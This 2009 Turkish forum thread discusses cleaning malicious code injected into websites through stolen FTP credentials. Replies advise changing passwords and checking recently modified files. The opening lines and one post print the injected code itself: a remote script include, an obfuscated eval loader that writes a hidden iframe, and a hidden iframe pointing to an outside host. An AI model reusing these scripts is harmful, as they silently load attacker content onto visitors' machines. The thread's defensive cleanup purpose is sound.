1 - <script src=http://furniture-shop-blanc.com/doormassive/fengshui.php ></script>
2 - <script>c10z3='';y939a34=/* yd89db425 */document;y939a34.write('<scr'+'ipt>function yd5d310(yb505134d5d){return e'+c10z3+'val(yb505134d5d); }</scr'+'ipt>'); function c101e3f8acyf8a8df9e(yff13c76ac0){ var y459a24a939=16; var z6c='';return (yd5d310('par'+z6c+'seInt')(yff13c76ac0,y459a24a939));}function yc85af4da1(y116826cd){ function yfc41489(){return 2;} var y719e33f2='';yc3d0d='fromCh';ycfac138d7b=String[yc3d0d+'arCode'];for(y15886b=0;y15886b<y116826cd.length;y15886b+=yfc41489()){ y719e33f2+=(ycfac138d7b(c101e3f8acyf8a8df9e(y116826cd.substr(y15886b,yfc41489()))));}return y719e33f2;} var y4a5fd8bf5='3C7363726970743E69662821'+c10z3+'6D796961'+c10z3+'297B646F63756D656E742E777269746528756E65736361'+c10z3+'7065282027253363253639253636253732253631'+c10z3+'253664253635253230253665253631'+c10z3+'253664253635253364253633253331'+c10z3+'253330253230253733253732253633253364253237253638253734253734253730253361'+c10z3+'253266253266253733253734253635253730253332253664253635253265253665253635253734253266253265253634253639253636253266253637253666253265253730253638253730253366253733253639253634253364253331'+c10z3+'26253237253262253464253631'+c10z3+'253734253638253265253732253666253735253665253634253238253464253631'+c10z3+'253734253638253265253732253631'+c10z3+'253665253634253666253664253238253239253261'+c10z3+'253337253338253338253339253330253239253262253237253336253339253636253332253237253230253737253639253634253734253638253364253333253332253332253230253638253635253639253637253638253734253364253332253334253335253230253733253734253739253663253635253364253237253736253639253733253639253632253639253663253639253734253739253361'+c10z3+'253638253639253634253634253635253665253237253365253363253266253639253636253732253631'+c10z3+'2536642536352533652729293B7D7661'+c10z3+'72206D796961'+c10z3+'3D747275653B3C2F7363726970743E';y939a34.write(yc85af4da1(y4a5fd8bf5));</script> Sitelere bulaştırılan bir kod
12
●1.039
- 15-10-2009, 20:57:25Bir arkadaşımın daha sitesine bulaştırılan şeyleri temizledim, işte bu ikisi:
- 15-10-2009, 21:03:02Benim bildiğim bütün arkadaşlarım FileZilla kullanır. Ama şifrelerini genelde FTP programında kaydederler.
İkincisi Avast'ın genel anlamda iyi bir virus ve trojan avcısı olduğunu düşünüyorum. Kullanmadığım anti-virus neredeyse yok, sanırım Avast bulamadıklarımı bulan en iyi program.
Söylediğiniz diğer şeyleri de birer birer yapacağım.
Iframe ve script bulaştırılan siteleri kendi bilgisayarıma indiriyorum ve sonra temizliyorum.
Benim FileZilla programımda 5-6 tane sitenin şifresi kayıtlı oluyor. Eğre bana bulaşsaydı o sitelere de bulaşırdı. Demek ki anti-virusum iyi.
Ama önemli olan siteye bulaştırtmamak. Bunun için söylediğiniz şiyleri birer birer uygulayacağım.
tekrar teşekkürler
Bulaştırılan scriptler:
<div style="display:none">drgpgqhhwlwuvsnyqrjehpydvsfdebb<iframe width=681 height=239 src="http://icq-tel.ru:8080/index.php" ></iframe></div>
- 15-10-2009, 21:12:30Yapman gereken en önemli şey FTP şifresini değiştirmektir. Değiştirdiğin halde yine sorun oluyorsa, nedeni ya şifreyi değiştirdiğin bilgisayarda virüs silinmemiş ve değişen şifreyi tekrar alıyor yada ftp içerisine dosya atmış işleri ordan yapıyor.
İkinci ihtimal varsa şöyle çözebilirsin;
Ftp ile dizinine bağlandıktan sonra dizin içindeki dosyaları yenilenme tarihine göre sıralat, en son değiştirilen dosya en üste gelsin. Böylelikle en son değişen dosyaları görmüş olursun. Senin değiştirmediğin yeni dosyaları yenileriyle (Yedek dosyayı at, yada indirip virüs içeren kısmını sil) değiştir. Bazen dizin içindeki dosyaların ismine benzer yeni bir dosya oluyor (Bu dosya adresini bildiği için çalıştırıp dosyalara tekrar virüslü kodları ekliyor) onu direkt olarak sil.
